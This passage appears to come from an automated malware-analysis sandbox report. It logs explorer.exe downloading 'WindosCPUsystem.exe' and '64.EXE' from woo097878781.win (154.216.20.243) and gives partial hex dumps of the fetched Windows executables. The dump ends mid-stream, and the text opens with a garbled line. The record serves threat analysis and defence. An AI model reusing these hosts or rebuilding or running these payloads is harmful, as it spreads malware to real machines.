cVhKG0L?,Sq6BV_R\k'~P+]}{}XbB'Lp'<kJ}@F{}9HZM:Uf/?{t>O!V1\|LG.xA=i2uPB*v<qUF4;@`fD.nut[&7cG?FT}sn-$6]XG(#
2024-12-09 06:37:09 UTC	16384	IN	Data Raw: 20 7b 1d 64 91 3a dd ec 6c 9d cd 6f 3c 7b f3 05 64 9f 3a e9 13 ef af 5b 6b fb 73 4a 45 08 ce 8b 26 b5 c8 55 18 87 30 51 d0 e8 bb 80 a3 46 95 90 ab 7e 7c 82 a9 b8 4b 49 05 4c 2f f9 a6 44 f8 05 9f c2 0a fb d7 77 9d 12 a1 89 9a 3d 29 5f a8 1c 2b 9e 19 1f d1 01 c9 32 93 b3 4e 7a 21 1a e7 5c ed 35 cc e1 bf 22 50 da 19 9f 10 15 e5 1d 69 f8 77 06 45 b8 fd 62 26 77 22 1e 4d 96 bf 5f 5f 81 c0 50 3d 36 7b bc 78 ba a3 50 e5 51 15 b6 1a c2 0a fe a7 ac 26 19 b4 60 f6 9d 76 50 6b 70 5c eb 7f 68 73 c9 f3 2c 8b 86 51 2d 02 32 a8 3c 25 bb af cb 69 23 87 11 26 6a 5d ca 3a ae 0d 39 48 4d 8f 14 cb 9c 47 70 dc 7a bb 50 55 27 ce f2 a4 99 56 0f 29 d0 d5 ec e2 f9 88 12 e3 3b 24 69 b8 53 a2 d8 17 f6 dc 9b 2d 1a 25 84 a7 e5 0d 8c 05 02 1f 93 36 69 30 08 5f 7b 68 f9 1e 45 a4 74 7a Data Ascii: {d:lo<{d:[ksJE&U0QF~\|KIL/Dw=)_+2Nz!\5"PiwEb&w"M__P=6{xPQ&`vPkp\hs,Q-2<%i#&j]:9HMGpzPU'V);$iS-%6i0_{hEtz
2024-12-09 06:37:09 UTC	16384	IN	Data Raw: 87 ed a9 a0 74 4b 83 c6 4c dd b7 95 c3 6b 7d ef e3 b5 45 c5 80 b8 d8 ce 6d 35 c2 84 fe b0 18 d0 45 85 d6 1b 42 ca 77 70 6b 28 6f 60 9f e9 90 6d 8a 12 6c 45 7b 29 92 41 a6 d0 ce 6d 06 3e bf 18 14 3e 4c 59 fb c7 1a cc 07 74 48 e1 76 62 5e 94 9a 43 f2 d5 d3 f9 42 4b d9 ab 59 e6 15 fd 39 03 0b 24 39 a1 bd a3 2f 22 ea 73 e9 7e 88 75 6a f2 68 05 6c 46 b8 58 de 2e b2 9a 37 8f 69 f7 f4 85 3e fc 3f 76 2d a4 69 0f d0 14 68 e7 03 4f ec 0f 59 9b 8d 23 b7 b6 41 11 ce 89 7f 68 20 c0 56 c1 42 a8 82 dd d7 dc 6f 30 bf 33 a7 04 5d 92 ac 1d ad a0 c2 7f 22 43 5b e2 4d 75 ba 37 3f ee 50 9a 37 11 c5 b1 41 b4 22 5c 9d bd 50 8c 88 18 49 63 07 0c f5 d1 0d 4a 37 ac eb 81 22 12 5b ad c2 62 20 dc 7c e9 b4 c6 48 b4 12 aa db e7 78 e7 18 e5 ae b2 8c 0b fd 65 81 d6 1f 8a b1 e8 fa 98 df Data Ascii: tKLk}Em5EBwpk(o`mlE{)Am>>LYtHvb^CBKY9$9/"s~ujhlFX.7i>?v-ihOY#Ah VBo03]"C[Mu7?P7A"\PIcJ7"[b \|Hxe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	154.216.20.243	443	7784	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 06:37:30 UTC	223	OUT	GET /WindosCPUsystem.exe HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: woo097878781.win
2024-12-09 06:37:30 UTC	275	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 06:37:30 GMT Content-Type: application/x-msdos-program Content-Length: 2887168 Last-Modified: Mon, 09 Dec 2024 06:24:51 GMT Connection: close ETag: "67568d33-2c0e00" X-Powered-By: PleskLin Accept-Ranges: bytes
2024-12-09 06:37:30 UTC	16109	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0a 00 99 8c 56 67 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 26 00 60 03 00 00 0a 2c 00 00 04 00 00 d0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 80 2c 00 00 04 00 00 5f 8f 2c 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdVg.&`,@,_,`
2024-12-09 06:37:30 UTC	16384	IN	Data Raw: 74 2d 48 8d 05 52 1e 2b 00 41 b8 04 00 00 00 48 89 f1 41 89 d6 48 89 c2 ff 53 18 44 89 f2 84 c0 74 0d b0 01 48 83 c4 20 5b 5f 5e 41 5e 5d c3 83 fa 0a 0f 94 07 48 8b 43 20 48 89 f1 48 83 c4 20 5b 5f 5e 41 5e 5d 48 ff e0 66 2e 0f 1f 84 00 00 00 00 00 55 48 89 e5 49 89 d0 48 8d 15 ca 1d 2b 00 5d e9 dc f2 ff ff 66 66 66 2e 0f 1f 84 00 00 00 00 00 55 48 81 ec 90 00 00 00 48 8d ac 24 80 00 00 00 48 8b 45 40 48 89 4d 00 48 89 55 08 4c 89 45 f0 4c 89 4d f8 48 89 e9 48 89 4d d0 48 8d 0d 3e f2 ff ff 48 89 4d d8 48 8d 4d f0 48 89 4d e0 48 8d 0d 4b f2 ff ff 48 89 4d e8 48 8d 0d 00 76 2b 00 48 89 4d a0 48 c7 45 a8 02 00 00 00 48 c7 45 c0 00 00 00 00 48 8d 4d d0 48 89 4d b0 48 c7 45 b8 02 00 00 00 48 8d 4d a0 90 50 5a e8 40 e3 ff ff cc 66 66 66 66 66 66 2e 0f 1f 84 00 Data Ascii: t-HR+AHAHSDtH [_^A^]HC HH [_^A^]Hf.UHIH+]fff.UHH$HE@HMHULELMHHMH>HMHMHMHKHMHv+HMHEHEHMHMHEHMPZ@ffffff.
2024-12-09 06:37:30 UTC	16384	IN	Data Raw: 41 80 c2 04 45 89 d1 44 0f b6 5a 05 45 8d 53 bf 41 80 fa 1a 72 25 45 8d 53 9f 41 80 fa 1a 73 06 41 80 c3 b9 eb 12 45 8d 53 d0 41 80 fa 0a 0f 83 f7 00 00 00 41 80 c3 04 45 89 da 0f b6 72 06 44 8d 5e bf 41 80 fb 1a 72 25 44 8d 5e 9f 41 80 fb 1a 73 06 40 80 c6 b9 eb 12 44 8d 5e d0 41 80 fb 0a 0f 83 d8 00 00 00 40 80 c6 04 41 89 f3 0f b6 72 07 8d 56 bf 80 fa 1a 72 20 8d 56 9f 80 fa 1a 73 06 40 80 c6 b9 eb 10 8d 56 d0 80 fa 0a 0f 83 bd 00 00 00 40 80 c6 04 89 f2 0f b6 c0 45 0f b6 c0 c1 e0 0c 41 c1 e0 06 49 01 c0 41 0f b6 c1 4c 01 c0 45 0f b6 c2 48 c1 e0 0c 41 c1 e0 06 45 0f b6 cb 4d 01 c1 49 01 c1 49 c1 e1 06 0f b6 c2 4c 01 c8 90 50 5a 48 c1 ea 20 74 14 48 8d 05 29 13 2b 00 48 89 01 48 c7 41 08 28 00 00 00 eb 11 c7 41 08 01 00 00 00 89 41 0c 48 c7 01 00 00 00 Data Ascii: AEDZESAr%ESAsAESAAErD^Ar%D^As@D^A@ArVr Vs@V@EAIALEHAEMIILPZH tH)+HHA(AAH
2024-12-09 06:37:30 UTC	16384	IN	Data Raw: 01 c2 4c 89 55 e0 4f 8d 14 18 4c 89 55 00 4d 89 c2 4d 29 ea 49 ff c2 4c 89 55 d8 4e 8d 24 06 49 89 cf 4d 89 c2 48 89 7d f8 eb 7d 80 7a 1a 00 74 0c 48 c7 01 02 00 00 00 e9 db 02 00 00 44 0f b6 52 18 44 89 d0 34 01 88 42 18 4c 8b 42 08 48 8b 42 48 4c 8b 4a 50 4d 85 c0 0f 84 b6 01 00 00 4d 39 c8 0f 83 a7 01 00 00 42 80 3c 00 bf 0f 8f a2 01 00 00 48 8d 0d 29 e7 2a 00 48 89 4c 24 20 48 89 c1 4c 89 ca e8 19 86 ff ff 45 31 c9 48 8b 7d f8 4c 89 4a 38 4d 89 cf 4c 8b 4d d0 4d 01 d1 49 39 c1 0f 83 81 02 00 00 4d 39 d0 0f 85 ee 00 00 00 46 0f b6 0c 0e 4c 0f a3 cf 73 57 4d 39 fd 4d 89 f9 4d 0f 47 cd 48 83 f9 ff 4d 0f 44 cd 4c 89 cf 66 90 4c 39 df 73 59 49 89 fa 4c 01 c7 48 39 c7 0f 83 5f 02 00 00 49 8d 7a 01 43 0f b6 1c 16 43 3a 1c 14 74 dd 4c 03 55 d8 4c 89 52 28 48 Data Ascii: LUOLUMM)ILUN$IMH}}ztHDRD4BLBHBHLJPMM9B<H)*HL$ HLE1H}LJ8MLMMI9M9FLsWM9MMGHMDLfL9sYILH9_IzCC:tLULR(H
2024-12-09 06:37:30 UTC	16384	IN	Data Raw: ff f6 45 20 01 74 52 4c 8b 45 28 4d 85 c0 0f 84 c0 00 00 00 4d 39 f0 0f 87 7f 01 00 00 48 8d 4d f0 53 5a 90 e8 4a 39 ff ff 83 7d f0 01 0f 84 7e 01 00 00 48 8b 55 f8 4c 8b 45 00 eb 24 c6 47 04 00 48 8d 15 db b9 2a 00 e9 a7 fe ff ff 89 c1 e8 3b 4a 02 00 e9 7a fe ff ff 48 8b 55 28 4c 8b 45 30 56 90 59 e8 da 01 00 00 e9 86 fe ff ff 44 0f b6 c0 3c 05 0f 83 0b 01 00 00 48 8d 4d 20 48 89 fa e8 ed 38 ff ff c6 47 04 00 f6 45 20 01 75 62 48 8b 55 28 48 8b 45 30 48 89 45 d0 48 39 d8 0f 85 3c 01 00 00 56 59 90 49 89 d8 e8 93 01 00 00 48 09 c0 0f 85 3b fe ff ff 48 89 55 40 48 89 5d e0 48 39 d3 0f 85 37 01 00 00 ba 01 00 00 00 e9 20 fe ff ff 0f b6 03 48 8d 0d f1 b7 2a 00 0f b6 0c 08 4c 39 f1 76 0b 88 07 c6 47 04 01 e9 77 fe ff ff b8 01 00 00 00 48 8d 15 25 b9 2a 00 e9 Data Ascii: E tRLE(MM9HMSZJ9}~HULE$GH;JzHU(LE0VYD<HM H8GE ubHU(HE0HEH9<VYIH;HU@H]H97 HL9vGwH%*
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 00 00 00 c7 44 24 20 00 00 00 00 4c 8d 4d c0 50 59 90 48 89 da 49 89 c0 e8 b2 0a 02 00 09 c0 0f 84 1c 01 00 00 48 8b 75 c0 e9 8d 00 00 00 49 89 dd 44 89 e8 83 e0 03 83 f8 01 75 39 49 8d 5d ff 4d 8b 75 ff 49 8b 7d 07 48 8b 07 48 85 c0 74 05 4c 89 f1 ff d0 48 83 7f 08 00 74 0c 48 8b 57 10 4c 89 f1 e8 2b d8 fe ff ba 08 00 00 00 53 90 59 e8 1e d8 fe ff 49 c7 04 24 00 00 00 00 48 81 c4 c8 04 00 00 5b 5f 5e 41 5c 41 5d 41 5e 41 5f 5d c3 e8 89 0a 02 00 49 c7 04 24 00 00 00 00 48 89 d9 48 81 c4 c8 04 00 00 5b 5f 5e 41 5c 41 5d 41 5e 41 5f 5d e9 e6 09 02 00 31 f6 48 c7 44 24 28 00 00 00 00 c7 44 24 20 00 00 00 00 56 59 90 31 d2 41 b8 02 00 00 00 45 31 c9 e8 d8 09 02 00 48 09 c0 74 4b 90 50 5f 49 c1 e7 20 4d 09 f7 4c 89 7c 24 20 90 50 59 ba 04 00 00 00 45 31 c0 45 Data Ascii: D$ LMPYHIHuIDu9I]MuI}HHtLHtHWL+SYI$H[_^A\A]A^A_]I$HH[_^A\A]A^A_]1HD$(D$ VY1AE1HtKP_I ML\|$ PYE1E
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 00 00 00 ba 08 01 00 00 e8 c6 9b fe ff 0f 0b eb 36 eb 34 48 89 c7 48 8d 8d c0 08 00 00 e8 f1 5d 00 00 e9 69 01 00 00 e8 17 c4 fe ff eb 19 48 89 c7 48 8d 8d d8 01 00 00 e8 36 95 00 00 e9 44 03 00 00 e8 fc c3 fe ff 48 89 c7 eb 24 48 89 c7 48 89 f1 e8 1c 95 00 00 e9 2a 03 00 00 e8 e2 c3 fe ff 48 89 c7 48 8d 8d 28 0b 00 00 e8 43 7b 00 00 48 8d 8d 10 05 00 00 e8 57 83 00 00 e9 0f 01 00 00 48 89 c7 e9 60 02 00 00 48 89 c7 48 8d 8d 08 0b 00 00 e8 7b 85 00 00 48 8b 8d c0 0c 00 00 48 8b 95 98 0c 00 00 e8 18 88 00 00 31 db eb 16 e8 8f c3 fe ff 48 89 c7 48 8d 8d e0 0b 00 00 e8 90 84 00 00 b3 01 45 31 ff 48 83 bd c8 0c 00 00 00 75 16 eb 25 e8 6a c3 fe ff 48 89 c7 b3 01 48 89 b5 70 0c 00 00 41 b7 01 ba 08 00 00 00 48 8b 8d 70 0c 00 00 e8 9a 97 fe ff f0 49 ff 4d 00 75 Data Ascii: 64HH]iHH6DH$HH*HH(C{HWH`HH{HH1HHE1Hu%jHHpAHpIMu
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 00 00 49 8d 50 01 48 89 16 4c 89 5e 08 45 0f b6 00 83 f9 3f 75 bd 41 83 f8 7f 74 b7 45 09 c0 74 b2 b0 07 e9 a9 09 00 00 4d 09 db 48 8b 4d 00 0f 84 7c 02 00 00 31 ff 66 66 66 2e 0f 1f 84 00 00 00 00 00 80 3c 3a 00 0f 84 03 0a 00 00 48 ff c7 49 39 fb 75 ee e9 57 02 00 00 41 bb 09 00 00 00 31 c9 b0 01 e9 25 06 00 00 49 83 fb 02 0f 82 3e 02 00 00 49 83 c3 fe 48 8d 42 02 4c 8b 45 00 49 89 00 4d 89 58 08 0f b7 3a e9 17 02 00 00 4d 09 db 0f 84 1a 02 00 00 49 ff cb 48 8d 42 01 4c 8b 45 00 49 89 00 4d 89 58 08 0f b6 3a e9 f4 01 00 00 4d 09 db 0f 84 87 06 00 00 4e 8d 04 1a 49 ff cb 48 ff c2 31 c0 29 c9 0f b6 5a ff 83 f9 3f 75 09 80 fb 02 0f 83 ea 08 00 00 4d 89 d6 44 0f b6 d3 44 89 d6 83 e6 7f 48 d3 e6 48 09 f0 45 84 d2 0f 89 1c 0a 00 00 83 c1 07 48 ff c2 49 83 c3 Data Ascii: IPHL^E?uAtEtMHM\|1fff.<:HI9uWA1%I>IHBLEIMX:MIHBLEIMX:MNIH1)Z?uMDDHHEHI
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 03 00 00 90 57 59 e8 e8 a7 00 00 48 83 f8 01 0f 94 c0 48 81 fa 00 01 00 00 0f 92 c1 84 c8 74 53 88 56 08 b8 28 00 00 00 e9 73 03 00 00 90 57 59 e8 be a7 00 00 48 83 f8 01 0f 94 c0 48 81 fa 00 01 00 00 0f 92 c1 84 c8 74 29 88 56 08 b8 21 00 00 00 e9 49 03 00 00 90 57 59 e8 94 a7 00 00 48 83 f8 01 75 0e 48 89 56 08 b8 2d 00 00 00 e9 2d 03 00 00 48 8b 07 48 8d 0d 0a 86 01 00 48 63 04 81 48 01 c8 ff e0 48 8b 47 08 48 89 46 08 29 c0 e9 0b 03 00 00 48 8b 47 08 48 89 46 08 b8 16 00 00 00 e9 f9 02 00 00 48 8b 47 08 48 89 46 08 b8 17 00 00 00 e9 e7 02 00 00 48 8b 47 08 48 89 46 08 b8 0b 00 00 00 e9 d5 02 00 00 48 8b 47 08 e9 ee 02 00 00 48 8b 47 08 48 89 46 08 b8 15 00 00 00 e9 ba 02 00 00 48 8b 47 08 48 89 46 08 b8 10 00 00 00 e9 a8 02 00 00 48 8b 47 08 48 89 46 Data Ascii: WYHHtSV(sWYHHt)V!IWYHuHV--HHHcHHGHF)HGHFHGHFHGHFHGHGHFHGHFHGHF
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 8b 01 49 83 f8 ff 0f 84 91 00 00 00 51 90 5e 49 8d 40 01 4b 8d 0c 00 48 39 c1 48 0f 47 c1 48 83 f8 05 bf 04 00 00 00 48 0f 43 f8 29 c9 ba 18 00 00 00 57 90 58 48 f7 e2 70 77 49 b9 f8 ff ff ff ff ff ff 7f 4c 39 c8 77 63 4d 85 c0 74 1b 48 8b 4e 08 49 c1 e0 03 4b 8d 14 40 48 89 4d d0 48 89 55 e0 b9 08 00 00 00 eb 02 29 c9 48 89 4d d8 48 8d 4d e8 4c 8d 4d d0 ba 08 00 00 00 49 89 c0 e8 df f7 fe ff 83 7d e8 01 74 1a 48 8b 45 f0 48 89 46 08 48 89 3e 48 83 c4 50 5f 5e 5d c3 29 c9 e8 cf da fd ff 48 8b 4d f0 48 8b 55 f8 e8 c2 da fd ff e8 bd da fd ff cc 66 66 66 2e 0f 1f 84 00 00 00 00 00 55 56 57 48 83 ec 50 48 8d 6c 24 50 4c 8b 01 49 83 f8 ff 0f 84 91 00 00 00 51 5e 90 49 8d 40 01 4b 8d 0c 00 48 39 c1 48 0f 47 c1 48 83 f8 05 bf 04 00 00 00 48 0f 43 f8 31 c9 ba 48 Data Ascii: IQ^I@KH9HGHHC)WXHpwIL9wcMtHNIK@HMHU)HMHMLMI}tHEHFH>HP_^])HMHUfff.UVWHPHl$PLIQ^I@KH9HGHHC1H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	154.216.20.243	443	7784	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 06:37:30 UTC	171	OUT	GET /64.EXE HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0 Host: woo097878781.win
2024-12-09 06:37:31 UTC	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 06:37:30 GMT Content-Type: application/x-msdos-program Content-Length: 1021952 Last-Modified: Mon, 18 Nov 2024 12:28:55 GMT Connection: close ETag: "673b3307-f9800" X-Powered-By: PleskLin Accept-Ranges: bytes
2024-12-09 06:37:31 UTC	16110	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a9 48 87 75 ed 29 e9 26 ed 29 e9 26 ed 29 e9 26 f6 b4 77 26 e7 29 e9 26 e4 51 6e 26 ec 29 e9 26 e4 51 7a 26 fc 29 e9 26 ed 29 e8 26 4f 29 e9 26 f6 b4 42 26 d9 29 e9 26 f6 b4 43 26 90 29 e9 26 f6 b4 74 26 ec 29 e9 26 52 69 63 68 ed 29 e9 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 ea e3 36 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 46 0d Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Hu)&)&)&w&)&Qn&)&Qz&)&)&O)&B&)&C&)&t&)&Rich)&PEd6g"F
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 24 60 ff 15 ba 16 0d 00 8b 44 24 68 39 44 24 48 0f 85 8d 01 00 00 48 c7 44 24 78 00 00 00 00 48 8d 15 8c 26 0d 00 48 8b 4c 24 70 e8 92 6b 00 00 48 89 44 24 78 48 83 7c 24 78 00 0f 84 62 01 00 00 48 8d 15 7a 26 0d 00 48 8b 4c 24 78 e8 70 6b 00 00 48 89 84 24 80 00 00 00 48 83 bc 24 80 00 00 00 00 0f 84 3a 01 00 00 48 8b 84 24 80 00 00 00 48 83 c0 11 48 89 84 24 80 00 00 00 c7 84 24 88 00 00 00 00 00 00 00 48 63 84 24 88 00 00 00 48 8b 8c 24 80 00 00 00 0f be 04 01 83 f8 22 74 12 8b 84 24 88 00 00 00 ff c0 89 84 24 88 00 00 00 eb d5 4c 8d 84 24 98 00 00 00 8b 94 24 88 00 00 00 48 8b 8c 24 80 00 00 00 e8 c3 ab 0b 00 48 89 84 24 90 00 00 00 48 83 bc 24 90 00 00 00 00 0f 84 bd 00 00 00 48 8b 84 24 90 00 00 00 48 83 c0 05 48 89 84 24 b0 00 00 00 8b 84 24 98 00 Data Ascii: $`D$h9D$HHD$xH&HL$pkHD$xH\|$xbHz&HL$xpkH$H$:H$HH$$Hc$H$"t$$L$$H$H$H$H$HH$$
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 00 00 00 48 8d 8c 24 b8 00 00 00 e8 92 2d 00 00 8b 8c 24 38 01 00 00 48 63 94 24 f4 00 00 00 4c 8b 84 24 30 01 00 00 49 8d 14 50 48 89 94 24 10 01 00 00 4c 8b c8 4c 8d 05 45 f6 0c 00 8b d1 48 8b 84 24 10 01 00 00 48 8b c8 e8 43 9d 0b 00 8b 8c 24 f4 00 00 00 03 c8 8b c1 89 84 24 f4 00 00 00 8b 84 24 38 01 00 00 48 63 8c 24 f4 00 00 00 48 8b 94 24 30 01 00 00 48 8d 0c 4a 4c 8d 05 1b f6 0c 00 8b d0 e8 08 9d 0b 00 8b 8c 24 f4 00 00 00 03 c8 8b c1 89 84 24 f4 00 00 00 48 8d 8c 24 b8 00 00 00 e8 e9 2b 00 00 90 48 8d 8c 24 90 00 00 00 e8 db 2b 00 00 90 48 8d 4c 24 30 e8 d0 2b 00 00 90 48 8d 4c 24 60 e8 c5 2b 00 00 48 8b 8c 24 18 01 00 00 48 33 cc e8 b5 9e 0b 00 48 81 c4 28 01 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 89 44 24 18 48 89 54 24 10 48 89 4c Data Ascii: H$-$8Hc$L$0IPH$LLEH$HC$$$8Hc$H$0HJL$$H$+H$+HL$0+HL$`+H$H3H(LD$HT$HL
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 84 24 30 01 00 00 ff c0 89 84 24 30 01 00 00 48 63 84 24 30 01 00 00 48 83 f8 6a 0f 83 e6 00 00 00 83 bc 24 f0 0a 00 00 00 74 7a 48 63 84 24 30 01 00 00 48 8d 0d a8 b5 0d 00 4c 8d 8c 24 40 01 00 00 41 b8 08 00 00 00 8b 94 24 f0 0a 00 00 48 8b 0c c1 e8 da fc ff ff 48 8d 94 24 40 01 00 00 48 8b 4c 24 30 ff 15 f7 94 0c 00 48 89 84 24 c0 09 00 00 48 63 84 24 30 01 00 00 48 8d 0d 90 c6 0d 00 48 8b 04 c1 48 8b 8c 24 c0 09 00 00 48 89 08 48 83 bc 24 c0 09 00 00 00 75 07 33 c0 e9 ff 13 00 00 eb 5d 48 63 84 24 30 01 00 00 48 8d 0d 2e b5 0d 00 48 8b 04 c1 48 83 c0 08 48 8b d0 48 8b 4c 24 30 ff 15 98 94 0c 00 48 89 84 24 c8 09 00 00 48 63 84 24 30 01 00 00 48 8d 0d 31 c6 0d 00 48 8b 04 c1 48 8b 8c 24 c8 09 00 00 48 89 08 48 83 bc 24 c8 09 00 00 00 75 07 33 c0 e9 a0 Data Ascii: $0$0Hc$0Hj$tzHc$0HL$@A$HH$@HL$0H$Hc$0HHH$HH$u3]Hc$0H.HHHHL$0H$Hc$0H1HH$HH$u3
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 1c 8b 44 24 14 99 83 e2 03 03 c2 c1 f8 02 8b 4c 24 1c 2b c8 8b c1 89 44 24 14 8b 44 24 14 05 f4 05 00 00 89 44 24 08 66 0f 6e 44 24 08 f3 0f e6 c0 f2 0f 5c 05 a1 eb 0c 00 f2 0f 5e 05 91 eb 0c 00 f2 0f 2c c0 89 44 24 0c 8b 44 24 0c 25 ff 7f 00 00 69 c0 ad 8e 00 00 99 b9 64 00 00 00 f7 f9 89 44 24 18 8b 44 24 18 8b 4c 24 08 2b c8 8b c1 66 0f 6e c0 f3 0f e6 c0 f2 0f 5e 05 4a eb 0c 00 f2 0f 2c c0 89 04 24 66 0f 6e 04 24 f3 0f e6 c0 f2 0f 10 0d 32 eb 0c 00 f2 0f 59 c8 66 0f 28 c1 f2 0f 2c c0 89 44 24 10 8b 44 24 18 8b 4c 24 08 2b c8 8b c1 2b 44 24 10 48 8b 4c 24 40 89 41 10 83 3c 24 0e 7d 0b 8b 04 24 ff c8 89 44 24 20 eb 0a 8b 04 24 83 e8 0d 89 44 24 20 48 8b 44 24 40 8b 4c 24 20 89 48 0c 48 8b 44 24 40 83 78 0c 02 7e 0f 8b 44 24 0c 2d 6c 12 00 00 89 44 24 24 Data Ascii: D$L$+D$D$D$fnD$\^,D$D$%idD$D$L$+fn^J,$fn$2Yf(,D$D$L$++D$HL$@A<$}$D$ $D$ HD$@L$ HHD$@x~D$-lD$$
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 75 0a 48 8b 44 24 38 48 89 44 24 20 83 bc 24 0c 01 00 00 00 7c 37 c7 44 24 34 00 00 00 00 eb 0a 8b 44 24 34 ff c0 89 44 24 34 8b 84 24 0c 01 00 00 39 44 24 34 7d 14 48 63 44 24 34 48 8b 4c 24 38 0f be 04 01 85 c0 74 02 eb d5 eb 0e 48 8b 4c 24 38 e8 0b 15 00 00 89 44 24 34 e9 fb 04 00 00 0f b6 84 24 08 01 00 00 83 f8 0e 75 0d c7 84 24 f4 01 00 00 22 00 00 00 eb 0b c7 84 24 f4 01 00 00 27 00 00 00 0f b6 84 24 f4 01 00 00 88 84 24 70 01 00 00 0f b6 84 24 e0 00 00 00 85 c0 74 17 48 8b 8c 24 f0 00 00 00 e8 85 07 00 00 48 89 84 24 68 01 00 00 eb 28 48 8b 84 24 40 02 00 00 48 83 c0 08 48 89 84 24 40 02 00 00 48 8b 84 24 40 02 00 00 48 8b 40 f8 48 89 84 24 68 01 00 00 48 83 bc 24 68 01 00 00 00 75 0d c7 84 24 f8 01 00 00 01 00 00 00 eb 0b c7 84 24 f8 01 00 00 00 Data Ascii: uHD$8HD$ $\|7D$4D$4D$4$9D$4}HcD$4HL$8tHL$8D$4$u$"$'$$p$tH$H$h(H$@HH$@H$@H@H$hH$hu$$
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 00 00 48 8b 4c 24 38 4c 8b 49 30 4c 8d 05 b8 28 0d 00 8b d0 b9 0a 08 00 00 e8 14 ec ff ff 89 44 24 30 83 7c 24 40 02 7c 29 8b 05 3b 0c 0d 00 ff c0 48 8b 4c 24 38 48 83 c1 10 c7 44 24 20 00 00 00 00 41 b9 01 00 00 00 45 33 c0 8b d0 e8 c0 fb ff ff 83 7c 24 68 00 75 11 83 7c 24 40 01 7c 0a 48 8b 4c 24 38 e8 48 fd ff ff 83 7c 24 40 03 7c 28 48 8b 44 24 38 48 83 c0 10 c7 44 24 20 00 00 00 00 41 b9 01 00 00 00 45 33 c0 8b 15 d9 0b 0d 00 48 8b c8 e8 79 fb ff ff 48 8b 44 24 38 0f b6 4c 24 68 88 48 18 8b 44 24 30 48 83 c4 58 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 89 54 24 10 48 89 4c 24 08 33 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 54 24 10 48 89 4c 24 08 33 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: HL$8LI0L(D$0\|$@\|);HL$8HD$ AE3\|$hu\|$@\|HL$8H\|$@\|(HD$8HD$ AE3HyHD$8L$hHD$0HXT$HL$3HT$HL$3
2024-12-09 06:37:31 UTC	16384	IN	Data Raw: 48 8b 44 24 60 48 63 40 08 48 8b 4c 24 20 48 03 c8 48 8b c1 48 89 44 24 38 48 8b 44 24 38 48 8b 4c 24 20 48 89 08 48 8b 44 24 38 48 83 c0 38 48 8b 4c 24 38 48 89 41 08 48 8b 44 24 38 c6 40 15 01 48 8b 44 24 38 c6 40 16 00 48 8b 44 24 38 48 8b 4c 24 60 48 8b 49 40 48 89 48 18 48 8b 44 24 60 48 8b 4c 24 38 48 89 48 40 48 8b 44 24 60 48 63 40 10 48 8b 4c 24 20 48 03 c8 48 8b c1 48 89 44 24 20 e9 60 ff ff ff 48 8b 44 24 60 48 83 78 40 00 74 0a c7 44 24 48 01 00 00 00 eb 08 c7 44 24 48 00 00 00 00 8b 44 24 48 48 83 c4 58 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 38 48 c7 44 24 20 00 00 00 00 8b 05 25 8d 0d 00 39 44 24 40 0f 8f 92 00 00 00 48 8b 0d 30 8d 0d 00 e8 83 56 ff ff 48 8b 05 2c 8d 